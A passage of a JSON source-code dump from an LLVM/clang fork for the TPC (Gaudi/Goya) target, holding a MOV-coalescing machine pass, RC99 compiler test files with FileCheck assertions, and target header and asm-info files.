{\n FunctionPass *createTPCMovCoalescer();\n void initializeTPCMovCoalescerPass(PassRegistry&);\n} // end namespace llvm\n\n\ntypedef std::map<unsigned, SmallVector<MachineInstr*, 4> > MovMap;\n\nclass TPCMovCoalescer : public MachineFunctionPass {\n MachineLoopInfo *MLI;\n MachineRegisterInfo* MRI;\n const TPCInstrInfo * TII;\n\n MovMap ConstMap[TPCII::OpType::Max + 1];\n\npublic:\n static char ID;\n TPCMovCoalescer() : MachineFunctionPass(ID), MLI(nullptr), TII(nullptr) {\n initializeTPCMovCoalescerPass(*PassRegistry::getPassRegistry());\n }\n bool runOnMachineFunction(MachineFunction &MF) override;\n bool findInnermostLoop(MachineLoop* L);\n bool coalesce(MachineLoop* L);\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n};\n\nINITIALIZE_PASS_BEGIN(TPCMovCoalescer, \"movcoalescer\",\n \"TPC Mov Coalescer\", false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\nINITIALIZE_PASS_END(TPCMovCoalescer, \"movcoalescer\",\n \"TPC Mov Coalescer\", false, false)\n\nFunctionPass *llvm::createTPCMovCoalescer() {\n return new TPCMovCoalescer();\n}\n\nchar TPCMovCoalescer::ID = 0;\n\nbool TPCMovCoalescer::runOnMachineFunction(MachineFunction &MF) {\n if (!EnableCoalescer) {\n return false;\n }\n MLI = &getAnalysis<MachineLoopInfo>();\n MRI = &MF.getRegInfo();\n TII = MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n\n for (unsigned i = 0; i < TPCII::OpType::Max + 1; ++i) {\n ConstMap[i] = MovMap();\n }\n\n bool Changed = false;\n for (auto &L : *MLI) {\n Changed |= findInnermostLoop(L);\n }\n\n return Changed;\n}\n\nbool TPCMovCoalescer::findInnermostLoop(MachineLoop* L) {\n if (L->begin() == L->end()) {\n for (unsigned i = 0; i < TPCII::OpType::Max + 1; ++i) {\n ConstMap[i].clear();\n }\n return coalesce(L);\n }\n\n bool Changed = false;\n for (MachineLoop::iterator I = L->begin(), E = L->end(); I != E; ++I) {\n Changed |= findInnermostLoop(*I);\n }\n return Changed;\n}\n\nbool TPCMovCoalescer::coalesce(MachineLoop *L) {\n if (L->getHeader() != L->getLoopLatch()) {\n return false;\n }\n\n bool Changed = false;\n\n for (MachineInstr& MI : L->getHeader()->instrs()) {\n if (MI.getOpcode() == TPC::MOVvip || MI.getOpcode() == TPC::MOV_ld_vip) {\n unsigned Const = MI.getOperand(1).getImm();\n unsigned Type = MI.getOperand(2).getImm();\n ConstMap[Type][Const].push_back(&MI);\n }\n }\n\n unsigned RemovedInsts = 0;\n for (unsigned i = 0; i < TPCII::OpType::Max + 1; ++i) {\n for (auto ConstPair : ConstMap[i]) {\n if (ConstPair.second.size() > 1) {\n LLVM_DEBUG(RemovedInsts += ConstPair.second.size() - 1);\n unsigned SharedReg = ConstPair.second.front()->getOperand(0).getReg();\n for (unsigned j = 1; j < ConstPair.second.size(); ++j) {\n MRI->replaceRegWith(ConstPair.second[j]->getOperand(0).getReg(), SharedReg);\n ConstPair.second[j]->removeFromParent();\n }\n Changed = true;\n }\n }\n }\n LLVM_DEBUG(dbgs() << \"Colescer removed \" << RemovedInsts << \" instructions\\n\");\n return Changed;\n}\n" }, { "alpha_fraction": 0.5598958134651184, "alphanum_fraction": 0.6484375, "avg_line_length": 37.400001525878906, "blob_id": "b83bc778a0ab508bd346b670d23b91b81b0a9d08", "content_id": "2879d6bb27d45a30a7c17b9127a6479f4cfc2b66", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 384, "license_type": "permissive", "max_line_length": 135, "num_lines": 10, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_ushort128_to_float128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n ushort128 *sptr = (ushort128 *)src;\n float128 *dptr = (float128 *)dest;\n ushort128 src_val = *sptr;\n *dptr = convert_ushort128_to_float128(src_val, 0);\n}\n\n// CHECK-IR: uitofp <128 x i16> {{.*}} to <128 x float>\n" }, { "alpha_fraction": 0.6077440977096558, "alphanum_fraction": 0.6296296119689941, "avg_line_length": 47.5, "blob_id": "44699d0ff8928bc0ea965c02b3abecc6a0b12287", "content_id": "29db7d0d588e6ac19ba2941b4ec4d1aae9b8da34", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 594, "license_type": "permissive", "max_line_length": 215, "num_lines": 12, "path": "/clang/test/RC99/indices_neg.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\nvoid main()\n{\n int5 var;\n var.x = 5; //legal syntax\n var.yz = 10; //legal syntax\n var.xy = var.zq * 2; //legal syntax\n var.xyz = var.wq; // expected-error{{assigning to 'int __attribute__((ext_vector_type(3)))' (vector of 3 'int' values) from incompatible type 'int __attribute__((ext_vector_type(2)))' (vector of 2 'int' values)}}\n var.zxq = var.xxy; // legal syntax\n var.xx = 2; // expected-error{{vector is not assignable (contains duplicate components)}}\n // illegal - 'x' used twice\n} " }, { "alpha_fraction": 0.438867449760437, "alphanum_fraction": 0.5392535328865051, "avg_line_length": 32.78260803222656, "blob_id": "8e4892745504ecbc1b2a539c6dbbb80fd7d4a36e", "content_id": "3966057136c9684630dc430dbd1a4e3ae9afe052", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 777, "license_type": "permissive", "max_line_length": 106, "num_lines": 23, "path": "/clang/test/RC99/Intrinsics/s_bf16_mac_acc.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(_BFloat16 x0, _BFloat16 x1, int dest, _Bool pred) {\n float __local *dptr = (float __local *)dest;\n float res = 0;\n\n res = s_bf16_mac_acc_s_s(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_bf16_mac_acc_s_s(x0, 1.5, res, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %S{{[0-9]+}}, %S0, 0x3fc0, %SP0\n\n res = s_bf16_mac_acc_s_s_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 acc_fp32 %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_bf16_mac_acc_s_s_b(x0, 1.5, res, 1, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg acc_fp32 %S{{[0-9]+}}, %S0, 0x3fc0, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6499999761581421, "alphanum_fraction": 0.690625011920929, "avg_line_length": 34.55555725097656, "blob_id": "3a090a655f4f3e2f4d94408fb4d7c6a897aac8d6", "content_id": "6dfd0f7e4afb6a42c294613fd5986f4cf97177a5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 320, "license_type": "permissive", "max_line_length": 119, "num_lines": 9, "path": "/clang/test/RC99/restrictions/addrspace-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\n__local int64 localArray[5];\n\nvoid main(__global int64 *globalArray) { // expected-error{{parameter 'globalArray' of entry function has wrong type}}\n __local int64 *pointer = &(localArray[0]);\n int64 tmp = *pointer;\n *globalArray = tmp;\n}\n" }, { "alpha_fraction": 0.4601139724254608, "alphanum_fraction": 0.5754985809326172, "avg_line_length": 32.42856979370117, "blob_id": "3f27f2f381aa57e66bfea85156b07b56a6e7b2c9", "content_id": "84d693deb346ef6e7c861981e2677f9e09b0b865", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 702, "license_type": "permissive", "max_line_length": 132, "num_lines": 21, "path": "/clang/test/RC99/IntrinsicsM/xor/i_i32_xor_s_i.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x0)\n{\n \n int5 indx1 = {0,x0,0,x0,0};\n int5 res0 = 0; \n\n res0 = i_i32_xor_s_i(1, indx1, res0, 20);\n float64 temp0 = 0;\n f32_st_tnsr_i_v(res0, 1, temp0);\n int5 res1 = 0; \n\n res1 = i_i32_xor_s_i(x0, indx1, res1, 21);\n float64 temp1 = 0;\n f32_st_tnsr_i_v(res1, 1, temp1);\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: xor.i32 b10100 %I{{[0-9]}}, 0x1, %I{{[0-9]}}\n//CHECK-ASM-DAG: xor.i32 b10101 %I{{[0-9]}}, %S0, %I{{[0-9]}}\n" }, { "alpha_fraction": 0.44223108887672424, "alphanum_fraction": 0.555112898349762, "avg_line_length": 38.6315803527832, "blob_id": "c3d6f1fbd97a9fdf71d76dbf7e9023e95f496c3a", "content_id": "c6546dfee2abce3ecebd0c3cfb659a0c80ee0ad0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 753, "license_type": "permissive", "max_line_length": 108, "num_lines": 19, "path": "/clang/test/RC99/IntrinsicsM/mac/av_i8_mac_v_s-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x0, int dest0, int dest1)\n{\n char256 __local *ptr_x0 = (char256 __local *)x0;\n int64 __local *res0 = (int64 __local *)dest0;\n int256 temp_res0 = {0,0,0,0};\n temp_res0 = av_i8_mac_v_s(*ptr_x0, 123, temp_res0, 1);\n *res0 = temp_res0.v1;\n}\n\n// CHECK: call <256 x i32> @llvm.tpc.av.i8.mac.v.s(<256 x i8> %2, i8 123, <256 x i32> zeroinitializer, i8 1)\n\n// CHECK-ASM: .globl main\n// CHECK-ASM: main:\n// CHECK-ASM-DAG: ld_l_v %V{{[0-9]+}}, %S0, 0x0\n// CHECK-ASM-DAG: mov.i32 %V{{[0-9]+}}, 0x0\n// CHECK-ASM: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n// CHECK-ASM-DAG: st_l_v %S1, 0x0, %V{{[0-9]+}}\n" }, { "alpha_fraction": 0.4431818127632141, "alphanum_fraction": 0.5136363506317139, "avg_line_length": 27.387096405029297, "blob_id": "bd9c4b0eb02ce08a19bf3e5c4269158684197587", "content_id": "cd0655bdbaa5ae043cc2b9b83feb942f81b5a027", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 880, "license_type": "permissive", "max_line_length": 106, "num_lines": 31, "path": "/clang/test/RC99/IntrinsicsM/ld_l/s_f32_ld_l_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned addr, int dest) {\n float __local *dptr = (float __local *)dest;\n\n float result = s_f32_ld_l_s(addr, 0);\n *dptr++ = result;\n \n result = s_f32_ld_l_s(addr, 1);\n *dptr++ = result;\n \n result = s_f32_ld_l_s(0x20, 0);\n *dptr++ = result;\n \n result = s_f32_ld_l_s(0x20, 1);\n *dptr = result;\n}\n\n//CHECK: ld_l %S[[Val1:[0-9]+]], %S0, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val1]]\n\n//CHECK: ld_l mmio %S[[Val2:[0-9]+]], %S0, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val2]]\n\n//CHECK: ld_l %S[[Val3:[0-9]+]], 0x20, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val3]]\n\n//CHECK: ld_l mmio %S[[Val4:[0-9]+]], 0x20, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val4]]\n" }, { "alpha_fraction": 0.5986984968185425, "alphanum_fraction": 0.5986984968185425, "avg_line_length": 28.74193572998047, "blob_id": "d941b5318fab70e7f82056d713f7be0239e4b098", "content_id": "b285ba8a69a646af9661d89fcf0f91f423dc3934", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 922, "license_type": "permissive", "max_line_length": 80, "num_lines": 31, "path": "/clang/lib/Driver/ToolChains/Arch/TPC.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- TPC.h - TPC-specific Tool Helpers ----------------------*- C++ -*-===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_CLANG_LIB_DRIVER_TOOLCHAINS_ARCH_TPC_H\n#define LLVM_CLANG_LIB_DRIVER_TOOLCHAINS_ARCH_TPC_H\n\n#include \"clang/Driver/Driver.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/ADT/Triple.h\"\n#include \"llvm/Option/Option.h\"\n#include <string>\n#include <vector>\n\nnamespace clang {\nnamespace driver {\nnamespace tools {\nnamespace tpc {\n\nconst char *getTPCTargetCPU(const llvm::opt::ArgList &Args,\n const llvm::Triple &Triple);\n\nvoid getTPCTargetFeatures(const Driver &D, const llvm::opt::ArgList &Args,\n std::vector<llvm::StringRef> &Features);\n\n} // end namespace tpc\n} // end namespace target\n} // end namespace driver\n} // end namespace clang\n\n#endif // LLVM_CLANG_LIB_DRIVER_TOOLCHAINS_ARCH_TPC_H\n" }, { "alpha_fraction": 0.4103831946849823, "alphanum_fraction": 0.49567365646362305, "avg_line_length": 25.09677505493164, "blob_id": "bf963f1f2d485bb33b342d89b4ae9fdb00795306", "content_id": "cb85fc9651d37d67cc080214257328966f4cfbe0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 809, "license_type": "permissive", "max_line_length": 78, "num_lines": 31, "path": "/clang/test/RC99/CodeGen/div-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest) {\n volatile unsigned __local *ptr = (unsigned __local *)dest;\n\n *ptr++ = *ptr / 4;\n// CHECK: ld_l [[SRC1:%S[0-9]+]], %S0\n// CHECK: shr.i32 [[VAL1:%S[0-9]+]], [[SRC1]], 0x2\n// CHECK: st_l %S{{[0-9]+}}, [[VAL1]]\n\n *ptr++ = *ptr % 64;\n// CHECK: and.i32 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x3f\n// CHECK: st_l\n\n volatile int __local *iptr = (int __local *)ptr;\n *iptr++ = *iptr / 4;\n// CHECK: ash.i32\n// CHECK: shr.i32 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x1e\n// CHECK: add.i32\n// CHECK: ash.i32\n// CHECK: st_l\n\n *iptr++ = *iptr % 64;\n// CHECK: ash.i32\n// CHECK: shr.i32 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x1a\n// CHECK: add.i32\n// CHECK: and.i32 %S{{[0-9]+}}, %S{{[0-9]+}}, -0x40\n// CHECK: sub.i32\n// CHECK: st_l\n\n}\n" }, { "alpha_fraction": 0.648727297782898, "alphanum_fraction": 0.6567272543907166, "avg_line_length": 30.25, "blob_id": "35131d6e36a5563cddde5348388b5f0cdf0a814a", "content_id": "ab28e901d7abca70f7d98329c2372b756848877b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2750, "license_type": "permissive", "max_line_length": 82, "num_lines": 88, "path": "/clang/lib/Basic/Targets/TPC.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- TPC.h - Declare TPC target feature support -------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file declares TPC TargetInfo objects.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_CLANG_LIB_BASIC_TARGETS_TPC_H\n#define LLVM_CLANG_LIB_BASIC_TARGETS_TPC_H\n\n#include \"clang/Basic/TargetInfo.h\"\n#include \"clang/Basic/TargetOptions.h\"\n#include \"llvm/ADT/StringSwitch.h\"\n#include \"llvm/ADT/Triple.h\"\n#include \"llvm/Support/Compiler.h\"\n#include \"llvm/Target/TargetInfoTPC.h\"\n\nnamespace clang {\nnamespace targets {\n\n#ifdef LLVM_TPC_COMPILER\n\nstatic LangASMap TPCAddrSpaceMap = {\n 0, // Default\n 1, // opencl_global\n 0, // opencl_local\n 0, // opencl_constant\n 0, // opencl_private\n 0, // opencl_generic\n 0, // cuda_device\n 0, // cuda_constant\n 1, // cuda_shared\n 0, // ptr32_sptr\n 0, // ptr32_uptr\n 0 // ptr64\n};\n\n\nclass TPCTargetInfo : public TargetInfo {\n enum class CPUKind {\n Generic,\n Goya,\n Gaudi\n } CPU = CPUKind::Goya;\n\n CPUKind getCPUKind(StringRef CPU) const;\n bool checkCPUKind(CPUKind Kind) const;\n\npublic:\n\n bool isValidCPUName(StringRef Name) const override;\n void fillValidCPUList(SmallVectorImpl<StringRef> &Values) const override;\n bool setCPU(const std::string &Name) override;\n\nprivate:\n static const Builtin::Info BuiltinInfo[];\n\npublic:\n TPCTargetInfo(const llvm::Triple &Triple, const TargetOptions &TO);\n\n void getTargetDefines(const LangOptions &Opts,\n MacroBuilder &Builder) const override;\n ArrayRef<Builtin::Info> getTargetBuiltins() const override;\n bool initFeatureMap(llvm::StringMap<bool> &Features, DiagnosticsEngine &Diags,\n StringRef CPU,\n const std::vector<std::string> &FeaturesVec) const override;\n bool hasFeature(StringRef Feature) const override;\n bool handleTargetFeatures(std::vector<std::string> &Features,\n DiagnosticsEngine &Diags) override;\n ArrayRef<const char *> getGCCRegNames() const override;\n ArrayRef<TargetInfo::GCCRegAlias> getGCCRegAliases() const override;\n const char *getClobbers() const override;\n bool validateAsmConstraint(const char *&Name,\n TargetInfo::ConstraintInfo &Info) const override;\n\n BuiltinVaListKind getBuiltinVaListKind() const override {\n return TargetInfo::CharPtrBuiltinVaList;\n }\n};\n#endif\n} // namespace targets\n} // namespace clang\n#endif // LLVM_CLANG_LIB_BASIC_TARGETS_TCE_H\n" }, { "alpha_fraction": 0.37858346104621887, "alphanum_fraction": 0.5333052277565002, "avg_line_length": 22.709999084472656, "blob_id": "2bc0e90ed700627ff47c131008b9b55983503ce7", "content_id": "ee27fa5107b599f40e2d0f390ad1791c8b73be2a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2372, "license_type": "permissive", "max_line_length": 108, "num_lines": 100, "path": "/clang/test/RC99/math/sin_float_reduce.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -fsyntax-only -verify %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\n// expected-no-diagnostics\n// GAUDI-3\n\n\n// FOPI: 1.27323954473516f\n\n// DP_const: 0.78515625f, 2.4187564849853515625e-4f, 3.77489497744594108e-8\n\n// sincoef_const: -1.9515295891E-4f, 8.3321608736E-3f, -1.6666654611E-1f\n\n// coscoef_const: 2.443315711809948E-005f, -1.388731625493765E-003f, 4.166664568298827E-002f\n\nvoid main(int dest, float xx, int addr, int addr1, int addr2)\n{\n// The program calculates dest = sin(xx) for xx in [0; pi/4]\n\n __local__ volatile float *res_ptr = (float __local *) dest;\n\t\n __local__ volatile float *DP = (float __local *) addr;\n __local__ volatile float *sincoef = (float __local *) addr1;\n __local__ volatile float *coscoef = (float __local *) addr2;\n \n DP[0] = 0.78515625f;\n DP[1] = 2.4187564849853515625e-4f;\n DP[3] = 3.77489497744594108e-8f;\n sincoef[0] = -1.9515295891E-4f;\n sincoef[1] = 8.3321608736E-3f;\n sincoef[2] = -1.6666654611E-1f;\n coscoef[0] = 2.443315711809948E-005f;\n coscoef[0] = -1.388731625493765E-003f;\n coscoef[0] = 4.166664568298827E-002f;\n\n float y, z, x = xx;\n int i, j;\n int sign = 1;\n\n float tmp = xx;\n x = s_f32_abs_s_b(tmp, x, 1, 0);\n\n if( xx < 0.0f )\n {\n sign = -1;\n }\n\n// j = FOPI * x; // integer part of x/(PI/4)\n// y = j;\n j = 0;\n y = 0.0f;\n\n// map zeros to origin\n if( j & 1 )\n {\n j += 1;\n y += 1.0f;\n }\n\n// octant modulo 360 degrees\n j &= 7;\n\n// reflect in x axis\n if( j > 3)\n {\n sign = -sign;\n j -= 4;\n }\n\n// Extended precision modular arithmetic\n x = ((x - y * DP[0]) - y * DP[1]) - y * DP[2];\n\n z = x * x;\n if( (j==1) || (j==2) )\n {\n y = coscoef[0];\n for (i = 1; i < 3; i++)\n y = y * z + coscoef[i];\n y *= z * z;\n y -= 0.5f * z;\n y += 1.0f;\n }\n else\n {\n y = sincoef[0];\n\t\tfor (i = 1; i < 3; i++)\n\t\t\ty = y * z + sincoef[i];\n y *= z * x;\n y += x;\n }\n\n *res_ptr = y;\n}\n\n// CHECK:main\n// CHECK-ASM: main\n// CHECK-ASM: halt\n// CHECK-O1:main\n// CHECK-ASM-O1: main\n// CHECK-ASM-O1: halt\n\n" }, { "alpha_fraction": 0.47229552268981934, "alphanum_fraction": 0.5751978754997253, "avg_line_length": 33.45454406738281, "blob_id": "1b1ee1f827078e119c4f3d62cafb80cac719ce80", "content_id": "775b2e6567e0520a937409073acd420a9217fec0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 379, "license_type": "permissive", "max_line_length": 78, "num_lines": 11, "path": "/clang/test/RC99/CodeGen/set_index-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int src, int src2) {\n int64 val = src;\n int5 storeCoord = { src2, src2, src2, 11, 11 };\n i32_st_tnsr_i_v_b(storeCoord, 1, val, 1, 0);\n}\n\n// CHECK: set_indx [[REGI:%I[0-9]+]], b00111, %S1, %SP0\n// CHECK: set_indx [[REGI]], b11000, 0xb, %SP0\n// CHECK: st_tnsr 0x1, [[REGI]], %V{{[0-9]+}}\n" }, { "alpha_fraction": 0.4317697286605835, "alphanum_fraction": 0.5021321773529053, "avg_line_length": 31.34482765197754, "blob_id": "b5a8f38ee9c40ad272921f20c948466d8f71adf5", "content_id": "923118ac2ed836d946633c845fb64bc585dd7585", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 938, "license_type": "permissive", "max_line_length": 106, "num_lines": 29, "path": "/clang/test/RC99/Intrinsics/gen_addr.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(tensor out, int value, _Bool p) {\n// CHECK: .globl main\n int5 indx = { 0, 0, 0, 0, 0 };\n int __global *ptr1 = gen_addr(indx, out, 0, 0, 1, 0);\n *ptr1 = value;\n\n// CHECK: set_indx [[NDX:%I[0-9]+]], b11111, 0x0\n// CHECK: gen_addr [[ADDR:%AD[0-9]+]], 0x0, [[NDX]]\n// CHECK: st_g [[ADDR]], %S0\n\n indx[0] = 1;\n int __global *ptr2 = gen_addr(indx, out, 0, ptr1, p, 0);\n *ptr2 = value;\n\n// CHECK: gen_addr [[ADDR]], 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n// CHECK: st_g %AD{{[0-9]+}}, %S0\n\n indx[0] = 2;\n int __global *ptr3 = gen_addr(indx, out, 0, ptr2, p, 1);\n *ptr3 = value;\n\n// CHECK: gen_addr [[ADDR]], 0x0, %I{{[0-9]+}}, !%SP{{[0-9]+}}\n// CHECK: st_g %AD{{[0-9]+}}, %S0\n\n// CHECK: halt\n}\n" }, { "alpha_fraction": 0.5412843823432922, "alphanum_fraction": 0.5412843823432922, "avg_line_length": 26.25, "blob_id": "f532c55968a5bf9b42e3b9a5a188b5ef82862f00", "content_id": "beaa017216b32d91dc58b04e177c898877cb4c25", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 765, "license_type": "permissive", "max_line_length": 81, "num_lines": 28, "path": "/llvm/include/llvm/Target/TPCKernelInfo.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- llvm/Target/TPCProgramHeader.h - TPC Specific header -----*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file declares a TPC kernel info. This info usages for write\n// .KernelInfo section.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef TPC_KERNEL_INFO_H\n#define TPC_KERNEL_INFO_H\n\n#include <string>\n\nnamespace llvm {\n\nstatic const char *KernelInfoSectionName = \".KernelInfo\";\n\nstd::string GenerateKernelInfo(llvm::StringRef KernelInfo);\n\n}\n\n#endif // TPC_KERNEL_INFO_H\n" }, { "alpha_fraction": 0.5024470090866089, "alphanum_fraction": 0.5660685300827026, "avg_line_length": 42.78571319580078, "blob_id": "95061458eef3fb44b360dbbc64036062f3bcf365", "content_id": "e8e0a97ccdfd901647ab2bb6e78cae9ef2965486", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 613, "license_type": "permissive", "max_line_length": 106, "num_lines": 14, "path": "/clang/test/RC99/IntrinsicsM/i_i32_set_indx_s-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(tensor in, int value, int value2) {\n int5 coords = 0; \n coords = i_i32_set_indx_s(value, coords, 1);\n int __global *ptr = (int __global *) a_gen_addr_i(coords, in);\n *ptr = value2;\n}\n\n// CHECK: set_indx %I[[NDX:[0-9]+]], b11111, 0x0, %SP0\n// CHECK: set_indx %I[[NDX]], b00001, %S0, %SP0\n// CHECK: gen_addr %AD[[ADDR:[0-9]+]], 0x0, %I[[NDX]], %SP0\n// CHECK: st_g %AD[[ADDR]], %S1, %SP0\n" }, { "alpha_fraction": 0.5425056219100952, "alphanum_fraction": 0.5469798445701599, "avg_line_length": 29.827587127685547, "blob_id": "9cb14f7c383f833ac1e45d88f2af919f54acb5ed", "content_id": "874665655ed231cfc69239ce94d714b7cc2202ac", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 894, "license_type": "permissive", "max_line_length": 80, "num_lines": 29, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCAsmInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCMCAsmInfo.cpp ------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the definition of the TPCMCAsmInfo class.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCMCAsmInfo.h\"\n#include \"llvm/ADT/Triple.h\"\n\nusing namespace llvm;\n\nvoid TPCMCAsmInfo::anchor() { }\n\nTPCMCAsmInfo::TPCMCAsmInfo(const Triple &TheTriple) {\n assert(TheTriple.getArch() == Triple::tpc);\n\n IsLittleEndian = true;\n ExceptionsType = ExceptionHandling::None;\n\n CommentString = \"//\";\n SupportsDebugInformation = true;\n PrivateGlobalPrefix = 